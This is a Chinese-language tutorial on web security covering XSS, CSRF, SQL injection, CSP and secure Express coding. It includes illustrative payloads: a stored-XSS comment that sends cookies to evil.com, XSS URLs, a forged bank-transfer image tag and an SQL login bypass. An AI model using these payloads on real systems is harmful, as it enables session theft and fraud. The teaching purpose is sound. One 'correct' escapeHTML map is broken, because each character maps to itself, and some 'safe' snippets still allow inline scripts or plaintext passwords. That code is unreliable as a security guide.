Web安全基础:XSS、CSRF攻击原理与防护完全指南
Web安全是每个开发者必须掌握的核心技能。一个小小的安全漏洞就可能导致用户数据泄露、系统被入侵。本文将系统讲解常见的Web攻击类型及其防护方法。
目录
XSS跨站脚本攻击
XSS攻击原理
XSS(Cross-Site Scripting)通过注入恶意脚本到网页,窃取用户信息或劫持会话。
攻击示例:
// ❌ 危险:直接插入用户输入 const username = getUserInput(); document.getElementById('welcome').innerHTML = `欢迎 ${username}`; // 攻击者输入:<script>alert(document.cookie)</script> // 结果:脚本被执行,Cookie被窃取
XSS攻击类型
1. 存储型XSS(Stored XSS)
// 攻击流程 // 1. 攻击者在评论中输入恶意脚本 const comment = '<script>sendCookies("http://evil.com")</script>'; // 2. 服务器存储评论(未过滤) database.save({ content: comment }); // 3. 其他用户访问页面时,脚本被执行 comments.forEach((c) => { document.getElementById('comments').innerHTML += c.content; // ❌ });
2. 反射型XSS(Reflected XSS)
// URL: https://example.com/search?q=<script>alert(1)</script> // ❌ 危险代码 const searchQuery = new URLSearchParams(window.location.search).get('q'); document.getElementById('result').innerHTML = `搜索结果: ${searchQuery}`;
3. DOM型XSS
// ❌ 危险:直接使用location.hash const data = decodeURIComponent(location.hash.substr(1)); document.getElementById('content').innerHTML = data; // 攻击URL: https://example.com/#<img src=x onerror=alert(1)>
XSS防护方法
1. 输出转义
// ✅ 正确:HTML实体编码 function escapeHTML(str) { const div = document.createElement('div'); div.textContent = str; return div.innerHTML; } // 或使用映射表 function escapeHTML(str) { const map = { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''', '/': '/', }; return str.replace(/[&<>"'/]/g, (char) => map[char]); } // 使用 const username = getUserInput(); const safe = escapeHTML(username); document.getElementById('welcome').innerHTML = `欢迎 ${safe}`;
2. 使用textContent代替innerHTML
// ✅ 安全:使用textContent element.textContent = userInput; // ❌ 危险:使用innerHTML element.innerHTML = userInput;
3. 使用安全的DOM操作
// ✅ 创建元素并设置文本 function safeAppend(container, text) { const div = document.createElement('div'); div.textContent = text; // 自动转义 container.appendChild(div); } // ✅ 使用setAttribute(但注意on*事件) const img = document.createElement('img'); img.setAttribute('src', userInput); // 仍需验证URL img.setAttribute('alt', escapeHTML(altText));
4. Content Security Policy(CSP)
<!-- 在HTTP响应头或meta标签中设置CSP --> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'unsafe-inline'" />
// 服务端设置(Express) app.use((req, res, next) => { res.setHeader( 'Content-Security-Policy', "default-src 'self'; script-src 'self' 'nonce-random123'; style-src 'self'" ); next(); });
5. 使用模板引擎的自动转义
// React自动转义 function Welcome({ name }) { return <h1>欢迎 {name}</h1>; // name会被自动转义 } // Vue自动转义 <template> <div>{{ userInput }}</div> <!-- userInput会被自动转义 --> </template> // ❌ 危险:v-html不会转义 <div v-html="userInput"></div>
XSS检测工具
// 简单的XSS检测 function detectXSS(input) { const dangerousPatterns = [ /<script/i, /javascript:/i, /on\w+\s*=/i, // onclick=, onerror=等 /<iframe/i, /eval\(/i, /expression\(/i, ]; return dangerousPatterns.some((pattern) => pattern.test(input)); } // 使用 if (detectXSS(userInput)) { throw new Error('检测到潜在的XSS攻击'); }
CSRF跨站请求伪造
CSRF攻击原理
CSRF(Cross-Site Request Forgery)利用用户的登录状态,诱导用户访问恶意网站,从而执行非预期操作。
攻击示例:
<!-- 恶意网站evil.com上的代码 --> <img src="https://bank.com/transfer?to=attacker&amount=1000" /> <!-- 用户已登录bank.com,浏览器会自动带上Cookie 如果bank.com没有CSRF防护,转账会成功执行 -->
CSRF防护方法
1. CSRF Token
// 服务端生成Token const crypto = require('crypto'); function generateCSRFToken() { return crypto.randomBytes(32).toString('hex'); } // 存储在session中 req.session.csrfToken = generateCSRFToken(); // 返回给前端 res.render('form', { csrfToken: req.session.csrfToken });
<!-- 前端在表单中包含Token --> <form method="POST" action="/transfer"> <input type="hidden" name="csrf_token" value="<%= csrfToken %>" /> <input name="to" placeholder="收款人" /> <input name="amount" placeholder="金额" /> <button type="submit">转账</button> </form>
// 服务端验证Token app.post('/transfer', (req, res) => { const { csrf_token, to, amount } = req.body; if (csrf_token !== req.session.csrfToken) { return res.status(403).send('CSRF token验证失败'); } // 执行转账... });
2. SameSite Cookie
// 设置Cookie时指定SameSite属性 res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'strict', // 或 'lax' });
SameSite属性值:
- strict: 完全禁止第三方Cookie
- lax: 允许导航到目标网址的GET请求携带Cookie
- none: 无限制(需要配合secure使用)
3. 验证Referer和Origin
app.use((req, res, next) => { const referer = req.headers.referer; const origin = req.headers.origin; // 检查请求来源 if (referer && !referer.startsWith('https://yoursite.com')) { return res.status(403).send('非法来源'); } if (origin && origin !== 'https://yoursite.com') { return res.status(403).send('非法来源'); } next(); });
4. 双重Cookie验证
// 前端从Cookie读取token const csrfToken = getCookie('csrf_token'); // 在请求头中发送 fetch('/api/transfer', { method: 'POST', headers: { 'X-CSRF-Token': csrfToken, 'Content-Type': 'application/json', }, body: JSON.stringify({ to: 'user', amount: 100 }), }); // 服务端验证 app.post('/api/transfer', (req, res) => { const headerToken = req.headers['x-csrf-token']; const cookieToken = req.cookies.csrf_token; if (headerToken !== cookieToken) { return res.status(403).send('CSRF验证失败'); } // 处理请求... });
SQL注入攻击
SQL注入原理
// ❌ 危险:直接拼接SQL const username = req.body.username; const password = req.body.password; const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`; // 攻击者输入: // username: admin' -- // password: 任意值 // 生成的SQL: // SELECT * FROM users WHERE username = 'admin' --' AND password = '...' // 注释掉了密码检查,成功登录!
SQL注入防护
1. 使用参数化查询
// ✅ 安全:使用预编译语句 const query = 'SELECT * FROM users WHERE username = ? AND password = ?'; db.query(query, [username, password], (err, results) => { // 处理结果... }); // PostgreSQL const query = 'SELECT * FROM users WHERE username = $1 AND password = $2'; client.query(query, [username, password]); // MongoDB db.collection('users').findOne({ username: username, password: password, });
2. 使用ORM
// Sequelize(Node.js) const user = await User.findOne({ where: { username: username, password: password, }, }); // TypeORM const user = await userRepository.findOne({ where: { username: username, password: password, }, });
3. 输入验证
function validateUsername(username) { // 只允许字母、数字、下划线 const pattern = /^[a-zA-Z0-9_]{3,20}$/; if (!pattern.test(username)) { throw new Error('用户名格式不正确'); } return username; } // 使用 const safeUsername = validateUsername(req.body.username);
4. 最小权限原则
-- 为应用程序创建专用数据库用户 CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'password'; -- 只授予必要的权限 GRANT SELECT, INSERT, UPDATE ON database.* TO 'app_user'@'localhost'; -- 不要使用root或admin账户连接数据库
Content Security Policy
CSP基础
CSP通过白名单机制,限制资源加载来源,防止XSS攻击。
<!-- 基础CSP设置 --> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src 'self' https:; script-src 'self' 'unsafe-inline'" />
CSP指令详解
const cspDirectives = { 'default-src': "'self'", // 默认策略 'script-src': "'self' 'unsafe-inline' https://cdn.example.com", 'style-src': "'self' 'unsafe-inline'", 'img-src': "'self' data: https:", 'font-src': "'self' https://fonts.googleapis.com", 'connect-src': "'self' https://api.example.com", 'media-src': "'none'", 'object-src': "'none'", 'frame-src': "'none'", 'base-uri': "'self'", 'form-action': "'self'", 'frame-ancestors': "'none'", }; // 转换为CSP字符串 const csp = Object.entries(cspDirectives) .map(([key, value]) => `${key} ${value}`) .join('; '); // 设置响应头 res.setHeader('Content-Security-Policy', csp);
Nonce和Hash
// 生成nonce const crypto = require('crypto'); const nonce = crypto.randomBytes(16).toString('base64'); // 设置CSP res.setHeader('Content-Security-Policy', `script-src 'self' 'nonce-${nonce}'`); // 在HTML中使用nonce res.send(` <script nonce="${nonce}"> console.log('这个脚本可以执行'); </script> `);
// 使用Hash const scriptContent = "console.log('Hello');"; const hash = crypto.createHash('sha256').update(scriptContent).digest('base64'); res.setHeader('Content-Security-Policy', `script-src 'self' 'sha256-${hash}'`);
CSP报告
// 设置CSP并收集违规报告 res.setHeader('Content-Security-Policy', "default-src 'self'; report-uri /csp-report"); // 接收报告 app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => { console.log('CSP违规:', req.body); // 记录到日志系统 logger.warn('CSP Violation', req.body); res.status(204).end(); });
HTTPS与传输安全
为什么需要HTTPS
HTTP的安全问题:
1. 明文传输,可被窃听
2. 无法验证服务器身份
3. 数据可被篡改
HTTPS工作原理
HTTPS = HTTP + TLS/SSL
加密流程:
1. 客户端发起HTTPS请求
2. 服务器返回证书
3. 客户端验证证书
4. 协商加密算法
5. 生成会话密钥
6. 加密通信
强制HTTPS
// Express中间件:重定向到HTTPS app.use((req, res, next) => { if (req.protocol !== 'https') { return res.redirect('https://' + req.headers.host + req.url); } next(); }); // 设置HSTS(HTTP Strict Transport Security) app.use((req, res, next) => { res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload'); next(); });
安全的Cookie设置
res.cookie('sessionId', sessionId, { httpOnly: true, // 防止JavaScript访问 secure: true, // 仅HTTPS传输 sameSite: 'strict', // CSRF防护 maxAge: 3600000, // 过期时间 });
安全开发最佳实践
1. 输入验证
class InputValidator { static validateEmail(email) { const pattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; return pattern.test(email); } static validateURL(url) { try { const parsed = new URL(url); return ['http:', 'https:'].includes(parsed.protocol); } catch { return false; } } static sanitizeHTML(html) { // 使用DOMPurify等库清理HTML return DOMPurify.sanitize(html); } static validateLength(str, min, max) { return str.length >= min && str.length <= max; } } // 使用 if (!InputValidator.validateEmail(email)) { throw new Error('邮箱格式不正确'); }
2. 密码安全
const bcrypt = require('bcrypt'); // ✅ 使用bcrypt哈希密码 async function hashPassword(password) { const saltRounds = 10; return await bcrypt.hash(password, saltRounds); } // ✅ 验证密码 async function verifyPassword(password, hash) { return await bcrypt.compare(password, hash); } // ❌ 永远不要明文存储密码 // ❌ 不要使用简单的MD5或SHA哈希
密码强度检查:
function checkPasswordStrength(password) { const criteria = { length: password.length >= 8, uppercase: /[A-Z]/.test(password), lowercase: /[a-z]/.test(password), number: /[0-9]/.test(password), special: /[^A-Za-z0-9]/.test(password), }; const score = Object.values(criteria).filter(Boolean).length; return { score, strength: score < 3 ? 'weak' : score < 5 ? 'medium' : 'strong', criteria, }; }
3. 会话管理
const session = require('express-session'); app.use( session({ secret: process.env.SESSION_SECRET, resave: false, saveUninitialized: false, cookie: { secure: true, httpOnly: true, maxAge: 3600000, // 1小时 }, }) ); // 登录后重新生成session ID app.post('/login', async (req, res) => { const user = await authenticateUser(req.body); if (user) { req.session.regenerate((err) => { if (err) return res.status(500).send('登录失败'); req.session.userId = user.id; res.send('登录成功'); }); } }); // 退出时销毁session app.post('/logout', (req, res) => { req.session.destroy(); res.send('已退出'); });
4. 速率限制
const rateLimit = require('express-rate-limit'); // API速率限制 const apiLimiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15分钟 max: 100, // 最多100个请求 message: '请求过于频繁,请稍后再试', }); app.use('/api/', apiLimiter); // 登录速率限制 const loginLimiter = rateLimit({ windowMs: 15 * 60 * 1000, max: 5, // 最多5次登录尝试 skipSuccessfulRequests: true, }); app.post('/login', loginLimiter, handleLogin);
5. 错误处理
// ❌ 危险:泄露敏感信息 app.get('/user/:id', (req, res) => { try { const user = db.query(`SELECT * FROM users WHERE id = ${req.params.id}`); res.json(user); } catch (error) { res.status(500).send(error.stack); // 泄露数据库结构 } }); // ✅ 安全:通用错误消息 app.get('/user/:id', (req, res) => { try { const user = db.query(`SELECT * FROM users WHERE id = ?`, [req.params.id]); res.json(user); } catch (error) { console.error('数据库错误:', error); // 记录到服务端 res.status(500).send('服务器错误'); // 返回通用消息 } });
6. 依赖安全
# 使用npm audit检查漏洞 npm audit # 自动修复 npm audit fix # 使用Snyk等工具持续监控 npm install -g snyk snyk test
总结
Web安全是一个持续的过程,需要在开发的每个环节都保持警惕:
核心原则
- 永远不要信任用户输入 - 所有输入都需要验证和转义
- 最小权限原则 - 只授予必要的权限
- 纵深防御 - 多层安全措施
- 保持更新 - 及时修复已知漏洞
常见漏洞防护
| 攻击类型 | 防护方法 |
|---|---|
| XSS | 输出转义、CSP、使用安全API |
| CSRF | CSRF Token、SameSite Cookie |
| SQL注入 | 参数化查询、ORM、输入验证 |
| 会话劫持 | HTTPS、HttpOnly、Secure Cookie |
| 暴力破解 | 速率限制、账户锁定 |
安全检查清单
- ✅ 所有输入都经过验证和转义
- ✅ 使用HTTPS
- ✅ 设置安全的HTTP头
- ✅ 实施CSRF防护
- ✅ 使用强密码策略
- ✅ 定期更新依赖
- ✅ 实施速率限制
- ✅ 记录和监控安全事件
相关工具
关键词: Web安全, XSS, CSRF, SQL注入, CSP, HTTPS, 安全开发
更新时间: 2026-01-05
相关阅读
浏览器API完全指南:FileReader、Canvas、Web Workers深度解析
深入探索现代浏览器API,涵盖文件处理、Canvas绘图、Web Workers多线程、IndexedDB存储等核心技术,助力构建强大的Web应用
前端性能优化实战:从加载到渲染的完整指南
深入解析前端性能优化技巧,从资源加载、代码分割到渲染优化,包含实战案例和性能监控方案,助力构建高性能Web应用
哈希算法与数据安全实践:MD5、SHA家族完全指南
深入解析哈希算法原理和应用场景,涵盖MD5、SHA-1、SHA-256等算法特点,密码哈希最佳实践,以及文件完整性校验实战